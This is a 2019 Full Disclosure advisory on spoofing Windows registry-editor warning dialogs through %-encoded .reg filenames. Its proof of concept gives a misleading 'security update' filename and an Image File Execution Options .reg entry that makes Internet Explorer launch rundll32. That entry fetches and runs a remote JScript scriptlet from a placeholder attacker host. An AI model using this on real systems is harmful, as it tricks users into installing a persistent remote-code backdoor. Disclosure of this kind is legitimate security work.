Message-ID: <CAFD2FDOYwb96xkVMK0=ntNeWdRPhdvJ46gvvz9ovJapgmSrv6w@mail.gmail.com>
Date: Sun, 10 Mar 2019 21:34:46 -0400
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Microsoft Windows .Reg File / Dialog Box Message Spoofing
	Vulnerability

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.REG-FILE-DIALOG-BOX-MESSAGE-SPOOFING.txt
[+] ISR: ApparitionSec


[Vendor]
www.microsoft.com


[Product]
A file with the .reg file extension is a Registration file used by the
Windows registry. These files can contain hives, keys, and values.
.reg files can be created from scratch in a text editor or can be produced
by the Windows registry when backing up parts of the registry.


[Vulnerability Type]
Windows .Reg File Dialog Box Message Spoofing


[CVE Reference]
N/A


[Security Issue]
The Windows registry editor allows specially crafted .reg filenames to
spoof the default registry dialog warning box presented to an end user.
This can potentially trick unsavvy users into choosing the wrong selection
shown on the dialog box. Furthermore, we can deny the registry editor
its ability to show the default secondary status dialog box (Win 10),
thereby hiding the fact that our attack was successful.

Normally when a user opens a .reg file UAC will launch, after they will get
the registry security warning dialog box asking them if they
"trust the source" and "Are you sure you want to continue?" etc and will
also have a choice of either 'Yes' or 'No' to select from.

However, we can inject our own messages thru the filename to direct the
user to wrongly click "Yes", as the expected "Are you sure you want to
continue?"
dialog box message is under our control. The registry dialog echoes back
the filename plus any text we add and allows us to terminate part of its
default security warning message. We achieve this using % encoded
characters in the filename like %n or %r and %0.

Example, the "do not add it to the registry" and "Are you sure you want to
continue?" default warning messages can be done away with using %0.

This spoofing flaw lets us spoof the "Are you sure you want to continue?"
warning message to instead read "Click Yes" or whatever else we like.
Potentially making a user think they are cancelling the registry import as
the security warning dialog box is now lying to them.

Denial of secondary registry editor status dialog box (hiding successful
attacks) in Windows 10:
------------------------------------------------------------------------------------------------
Typically, upon a successful import the registry editor pops up another
dialog box with a status message telling us
"the keys and values contained in <REGFILE> have been successfully added to
the registry".

We can obstruct that behavior to deny this secondary registry editor dialog
from appearing by tacking on a (null) right before the
end of our filename using %1 or %25 like:
"Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"

If don't want to use (null) use %3 but it will display a asian char instead
but still prevents the secondary registry dialog box you.
You will have to manually refresh the registry written to in order to see
the values stored when using these dialog denial of service methods.

Note: Denial of the secondary dialog box seems to only work on Windows 10.

Behaviors I discovered playing with registry filenames that affect the
dialog box, depending on Windows OS version you will get different results.

% - can be used for obfuscation e.g. %h%a%t%e = hate
%b will create white-space
%n makes a newline
%r makes a newline
%1 creates (null) - important as we prevent the second registry dialog from
appearing after a successful import!
%0 Important terminates string
%25 (Windows 10) creates (null) - Important as we prevent the second
registry dialog from appearing after a successful import!
%3 - Important as we prevent the second registry dialog from appearing
after a successful import! (but shows asian char)
%5 (Windows 10) duplicates the default registry dialog box message by "n"
amount of times per amount of %5 injected into the filename
%25 (Windows 7) duplicates the default registry dialog box message by "n"
amount of times per amount of %25 injected into the filename
%2525 prevents registry editor from opening
%169 will show our junky filename in the dialog box (we don't want that)
%3, %197, %17 and some others change the default language shown in the
registry dialog box to asian characters etc

Each injected character can be separated by a percent "%" sign without
messing up our spoofed message, we can leverage this to obfuscate the end
of the filename.
We then use %0 to terminate the message string so that the second .reg
extension and default registry messages are not displayed in the registry
dialog box.

The filename
"Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"
will show as "Microsoft-Security-Update-v1.2-Windows-10.reg"
in the registry dialog box, along with our spoofed user directions.

While this spoofing vulnerability requires user interaction and bypassing
Windows UAC prompt to succeed, the fact the we can prevent secondary
registry dialogs
and modify registry messages displayed to the user makes it a viable attack
vector. If we are successful in our attack we can achieve a persistent RCE
backdoor
all while the user thinks they have aborted the import.


[POC Video URL]
https://vimeo.com/322684636


[Exploit/POC]
Persistent Remote Code Execution Backdoor:

This will add entry to "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\iexplore.exe"
for a persistent rundll32 payload targeting MSIE that references a JScript
XML based file on our remote server.

1) Create a Windows .REG Registry file named.

"Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"

Registry file Contents.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\iexplore.exe]
"debugger"="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication
\";document.write();GetObject(\"script:http://<ATTACKER-IP>/backdoor\")"


2) Create an XML file hosted at http://ATTACKER-IP/backdoor named simply as
"backdoor" will execute Windows calc.exe when Microsoft Internet Explorer
is launched.

<?xml version="1.0"?>
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
</package>



[Network Access]
Local


[Severity]
High


[Disclosure Timeline]
Vendor Notification: March 1, 2019
MSRC Response: " A registry file was created with the title you suggested,
but the error message was clear."
Then vendor sent me a link pointing me to the "Definition of a Security
Vulnerability" Lol.
March 10, 2019 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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